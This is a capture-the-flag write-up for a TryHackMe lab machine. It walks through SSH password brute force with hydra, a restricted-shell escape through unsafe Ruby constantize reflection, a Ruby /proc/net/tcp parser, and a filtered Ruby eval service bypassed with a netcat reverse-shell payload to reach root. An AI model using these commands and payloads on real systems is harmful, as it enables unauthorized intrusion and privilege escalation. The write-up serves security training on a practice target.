Red Stone One Carat - Write-up - TryHackMe

Information

Room#

  • Name: Red Stone One Carat
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: First room of the Red Stone series. Hack ruby using ruby.

Red Stone One Carat

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap wordlistctl hydra

Network enumeration#

Port and service scan with nmap:

# Nmap 7.91 scan initiated Tue Mar 16 00:20:19 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.159.98
Nmap scan report for 10.10.159.98
Host is up (0.033s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ce:c9:85:e6:cf:67:5e:29:6a:49:af:4c:fc:49:b2:77 (RSA)
|   256 4b:17:69:52:57:24:50:b9:ff:4e:45:75:81:8f:97:12 (ECDSA)
|_  256 67:82:c7:94:d9:da:29:bf:9a:44:41:bf:8c:35:21:f7 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 16 00:20:53 2021 -- 1 IP address (1 host up) scanned in 34.24 seconds

Anyway the description of the room says:

Start with SSH bruteforce on user noraj.

Network exploitation#

The hint says:

The password contains "bu".

Let's prepare a wordlist of password containing bu.

$ grep bu /usr/share/wordlists/passwords/rockyou.txt > /tmp/bu_wordlist.tx

Let's try SSH bruteforce with hydra and our custom wordlist.

$ hydra -l noraj -P /tmp/bu_wordlist.txt 10.10.159.98 -t 4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 00:45:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task
[DATA] attacking ssh://10.10.159.98:22/

[STATUS] 44.00 tries/min, 44 tries in 00:01h, 126294 to do in 47:51h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 126242 to do in 65:46h, 4 active
[22][ssh] host: 10.10.159.98   login: noraj   password: cheeseburger
[STATUS] 18048.29 tries/min, 126338 tries in 00:07h, 1 to do in 00:01h, 2 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 00:53:13

Initial system access#

Let's connect to the machine via SSH now:

$ ssh noraj@10.10.159.98
noraj@10.10.159.98's password:
Last login: Mon Mar 15 23:54:37 2021 from 10.9.19.77
red-stone-one-carat%

System reconnaissance#

We quickly see we can't run any common commands:

red-stone-one-carat% ls
zsh: command not found: ls

So let's try some shell built-in ones to see where we are:

red-stone-one-carat% echo $SHELL
/bin/rzsh

rzsh is restricted zsh, we are in a restricted shell.

red-stone-one-carat% echo $PATH
/home/noraj/bin

Or path doesn't contain /bin, /usr/bin or /sbin that's why we can't execute anything and of course we are not allowed to change our PATH.

As we don't have ls we can use echo * and echo .* to list files:

red-stone-one-carat% echo *
bin

red-stone-one-carat% echo bin/*
bin/test.rb

Ok there is a ruby script we must be able to execute.

Restricted shell escape & Ruby on Rails Unsafe Reflection#

Let's execute the script: red-stone-one-carat% test.rb

#!/usr/bin/ruby

require 'rails'

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
    puts File.read(__FILE__)
end

The script is quite short. constantize seems to be a dangerous method.

Exploiting Unsafe Reflection in Ruby/Rails Applications

The method will allow use to transform a string into a Ruby object so we could execute code. We have the choice of the Class, class method and one argument.

We could use:

  • Class: File
  • class method: read()
  • argument: /home/noraj/user.txt

This is convenient to get the first flag we in the end we need to escape the restricted shell so better find a command execution payload.

  • Class: Kernel
  • class method: exec()
  • argument: /bin/zsh

Let's use this and then set a PATH to be able to load commands:

red-stone-one-carat% test.rb Kernel exec '/bin/zsh'

red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

All common commands that can display a file are forbidden.

red-stone-one-carat% cat user.txt 
zsh: permission denied: cat
red-stone-one-carat% tac user.txt
zsh: permission denied: tac
red-stone-one-carat% head user.txt 
zsh: permission denied: head
...

Or do it in Ruby (more obvious) as we can execute Ruby:

red-stone-one-carat% irb  
irb(main):001:0> File.read('user.txt')
=> "THM{edited}"

red-stone-one-carat% ruby -e "puts File.read('user.txt')"     
THM{edited}

Elevation of Privilege (EoP)#

We can see a hint file:

red-stone-one-carat% ls -lhA
total 64K
drwxr-xr-x 2 root    root    4.0K Mar 15 19:38 bin
drwx------ 2 noraj   noraj   4.0K Mar 15 23:52 .cache
-rw-r--r-- 1 vagrant vagrant   36 Mar 15 19:37 .hint.txt
-rw-r--r-- 1 vagrant vagrant   37 Mar 15 19:37 user.txt
-rw-r--r-- 1 noraj   noraj    42K Mar 15 19:44 .zcompdump
-rw-r--r-- 1 vagrant vagrant   20 Mar 15 19:37 .zshrc

red-stone-one-carat% ruby -e "puts File.read('.hint.txt')"
Maybe take a look at local services.

Ok so let's see what network services are listening.

Again common network tools are forbidden and there is no bypass this time:

red-stone-one-carat% ss -nlpt
zsh: permission denied: ss
red-stone-one-carat% netstat -nlpt
zsh: permission denied: netstat

As the goal of the box is to use Ruby there must be a way to implement an equivalent in Ruby.

This can be done by parsing /proc/net/tcp where IP addresses are hex encoded with low nibble first for many services it can be very time consuming to do it manually so let's script it in Ruby.

require 'etc'

TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h
  '00': 'UNKNOWN',
  'FF': 'UNKNOWN',
  '01': 'ESTABLISHED',
  '02': 'SYN_SENT',
  '03': 'SYN_RECV',
  '04': 'FIN_WAIT1',
  '05': 'FIN_WAIT2',
  '06': 'TIME_WAIT',
  '07': 'CLOSE',
  '08': 'CLOSE_WAIT',
  '09': 'LAST_ACK',
  '0A': 'LISTEN',
  '0B': 'CLOSING',
  '0C': 'NEW_SYN_RECV'
}

def decode_addr(addr)
  ip, port = addr.split(':')
  ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.')
  port = port.hex.to_s
  "#{ip}:#{port}"
end

puts 'local address'.ljust(22) + 'remote address'.ljust(22) + 'state'.ljust(12) + 'username (uid)'
File.readlines('/proc/net/tcp').each_with_index do |line, i|
  entry = line.split(' ')
  unless i == 0 # skip headers
    laddr = decode_addr(entry[1])
    raddr = decode_addr(entry[2])
    state = TCP_STATES[entry[3].to_sym]
    uid = entry[7]
    uname = Etc.getpwuid(uid.to_i).name
    puts "#{laddr.ljust(22)}#{raddr.ljust(22)}#{state.ljust(12)}#{uname} (#{uid})"
  end
end

Encode it in oneline base64 for easy pasting on the box:

$ cat mini-netstat.rb | base64 -w 0
cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==

On the box paste it on a file:

red-stone-one-carat% printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > /tmp/ss.rb

Execute it:

vagrant@red-stone-one-carat:~$ ruby /tmp/ss.rb
...
127.0.0.1:30298       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30266       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30234       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30202       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30170       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30138       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30106       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30074       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30042       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30010       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:31547       0.0.0.0:0             LISTEN      root (0)
127.0.0.1:30939       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30971       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30907       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30875       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30811       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30843       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30779       0.0.0.0:0             LISTEN      vagrant (1000)
127.0.0.1:30747       0.0.0.0:0             LISTEN      vagrant (1000)
...

Port 31547 service is owned by root so that must be the way.

vagrant@red-stone-one-carat:~$ nc 127.0.0.1 31547
$ id
undefined local variable or method `id' for main:Object

it's not a shell but seems to be a Ruby eval pseudo shell.

$ File.read('/etc/passwd')
Forbidden character

Looks like many special character like dot, quotes, braces, etc. are forbidden.

Taking a look at this SO thread again we can find a way to execute commands without using a blocked character using %x and curly braces {} rather than normal () or square braces []. Also we can replace 127.0.0.1 that is using dots but localhost. We can start another SSH session with a netcat listener nc -nlp 9999 and open a reverse shell:

$ %x{nc -e /bin/zsh localhost 9999}

We get a shell as root:

vagrant@red-stone-one-carat:~$ nc -nlp 9999
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{edited}
Share